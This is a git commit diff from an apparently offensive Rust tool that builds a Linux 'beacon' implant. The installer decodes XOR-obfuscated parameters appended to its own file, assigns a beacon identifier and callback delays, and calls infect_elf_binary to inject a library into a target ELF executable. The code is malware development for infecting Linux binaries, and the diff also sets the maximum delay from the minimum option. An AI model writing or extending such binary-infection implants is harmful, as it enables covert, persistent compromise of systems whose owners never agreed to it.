feat: got unix-beacon tested on Linux
This commit is contained in:
@@ -52,10 +52,10 @@ fn main() -> Result<(), Error> {
|
||||
installer_file.seek(SeekFrom::End(-parameters_size))?;
|
||||
|
||||
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
|
||||
installer_file.read(&mut parameters_buffer)?;
|
||||
installer_file.read_to_end(&mut parameters_buffer)?;
|
||||
|
||||
for b in parameters_buffer.iter_mut() {
|
||||
*b = *b & (XOR_KEY as u8);
|
||||
*b = *b ^ (XOR_KEY as u8);
|
||||
}
|
||||
|
||||
let parameters: &mut Parameters =
|
||||
@@ -66,6 +66,11 @@ fn main() -> Result<(), Error> {
|
||||
.try_fill_bytes(&mut identifier)
|
||||
.expect("Could not generate beacon identifier");
|
||||
|
||||
let hex_ident = hex::encode(&identifier);
|
||||
parameters
|
||||
.beacon_identifier
|
||||
.copy_from_slice(&hex_ident.as_bytes());
|
||||
|
||||
let beacon_name = opts.binary_name.as_bytes();
|
||||
parameters.beacon_name[..beacon_name.len()].copy_from_slice(&beacon_name[..]);
|
||||
parameters.beacon_name_length = beacon_name.len() as u16;
|
||||
@@ -73,5 +78,9 @@ fn main() -> Result<(), Error> {
|
||||
parameters.delay_seconds_min = opts.delay_seconds_minimum;
|
||||
parameters.delay_seconds_max = opts.delay_seconds_minimum;
|
||||
|
||||
infect_elf_binary(opts.binary, opts.library_path, parameters)
|
||||
std::fs::write("./debug.params-pre", ¶meters_buffer)?;
|
||||
|
||||
infect_elf_binary(opts.binary, opts.library_path, parameters_buffer)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user